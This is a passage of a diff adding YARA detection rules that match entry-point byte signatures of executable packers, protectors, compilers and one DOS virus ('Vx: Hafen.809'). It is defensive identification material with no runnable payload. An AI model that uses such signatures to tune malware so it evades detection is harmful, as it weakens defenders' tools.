+		$3 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+		$4 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _unknown_by_Woody_
+{
+	meta:
+		description = "unknown by Woody"
+	strings:
+		$0 = {B8 B9 0F 8E D8 8C 1E 04 00 8C 1E 08 00 8C C8 A3 00 00 E9 54 36}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V22XV2308__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.2X-V2.308 -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+		$1 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PeCompact_2xx_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.xx (Slim Loader) --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+		$1 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEArmor_046__China_Cracking_Group_
+{
+	meta:
+		description = "PE-Armor 0.46 -> China Cracking Group"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+		$1 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC}
+		$2 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PESpin_v07__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.7 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+		$2 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _iLUCRYPT_4019_
+{
+	meta:
+		description = "iLUCRYPT 4.019"
+	strings:
+		$0 = {8B EC FA C7 46 FE 00 00 4C 4C C3 FB BF 00 0A B8 00 00 2E 31 05 D1 C8 4F 81 FF 00 00 EB 00 73 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Compiled_Datafile_
+{
+	meta:
+		description = "File Analyzer Compiled Datafile"
+	strings:
+		$0 = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021_protected_IAT_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 (protected IAT)"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+		$1 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_Embedded_V19X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V1.9X -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_104_Win32__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+		$1 = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RECSmall_v102_
+{
+	meta:
+		description = "REC.Small v1.02"
+	strings:
+		$0 = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _App_Protector__Silent_Team_
+{
+	meta:
+		description = "App Protector -> Silent Team"
+	strings:
+		$0 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+		$1 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+		$2 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _HackStop_119_build_195198_EXE_
+{
+	meta:
+		description = "HackStop 1.19 build 195/198 [EXE]"
+	strings:
+		$0 = {50 52 E8 02 00 41 24 5A 1E 0E 1F B4 09 CD 21 1F 5A 58 56 BE EB 04 5E EB FB 9A 1E 52 B8 4D 30 CD 21 86 C4 3D D6 02 73 02 CD 20 0E 1F 56 BE EB 04 5E EB FB 9A E8 02 00 24 24 5A B4 09 CD 21 56 BE EB 04 5E EB FB 9A EB 02 D8 88 5A 1F 50 52 E8 02}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1033__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v022__v023Beta_
+{
+	meta:
+		description = "Upack v0.22 ~ v0.23Beta"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen809_
+{
+	meta:
+		description = "Vx: Hafen.809"
+	strings:
+		$0 = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+		$1 = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BJFNT_11_
+{
+	meta:
+		description = "BJFNT 1.1"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 EB 01 C7 57 EB 01 C7 55 EB 02 CD 20 EB 02 C7 05 EB 01 EA EB 01 EA FC EB 01 EA E8 00 00 00 00 EB 01 C7 5E EB 02 CD 20 83 C6 50 EB 02 CD 20 8B FE EB 02 C7 05 B9 65 06 00 00 EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_112__UsAr_
+{
+	meta:
+		description = "yzpack 1.12 -> UsAr"
+	strings:
+		$0 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+		$1 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v07x__v084_
+{
+	meta:
+		description = "tElock v0.7x - v0.84"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {60 E8 00 00 C3 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEShield_02b2_
+{
+	meta:
+		description = "PEShield 0.2b2"
+	strings:
+		$0 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 8D 00 31 00 00 00 00 00 00 00 00 8A 00 00 32 00 80 00 00 80 00 00 88 00 00 00 EB 00 75 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_ARM_
+{
+	meta:
+		description = "PocketPC ARM"
+	strings:
+		$0 = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {F0 41 2D E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 50 E3 ?? 00 00 0A ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? A0 E1 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1}
+		$2 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+		$3 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Upack_037_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Packed_
+{
+	meta:
+		description = "EXE2COM (Packed)"
+	strings:
+		$0 = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v30_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+		$1 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PENightMare 2 Beta] --> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_05_
+{
+	meta:
+		description = "Unknown packer (05)"
+	strings:
+		$0 = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+	condition:
+		$0 at entrypoint
+}
+rule _ENcryptCOM_301_
+{
+	meta:
+		description = "ENcryptCOM 3.01"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 77 02 CD 20 B0 4D 6A 64 5A EE}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v2006412_
+{
+	meta:
+		description = "Pe123  v2006.4.12"
+	strings:
+		$0 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+		$1 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 4C FE FF FF 53 6A 40 8D 85 44 FF FF FF 50 E8 BC FF FF FF 50 E8 8A FF FF FF 68 F8 00 00 00 8D 85 4C FE FF FF 50 E8 A5 FF FF FF 03 45 80 50 E8 70 FF FF FF E8 97 FF FF FF 03 85 CC FE FF FF 83 C0 34 89 45 FC E8 86 FF FF FF 03 85 CC FE FF FF 83 C0 38 89 45 8C 60 8B 45 FC 8B 00 89 45 F8 89 45 9C 8B 45 8C 8B 00 89 45 88 89 45 98 E8 0D 00 00 00 6B 65 72 6E 65 6C 33}
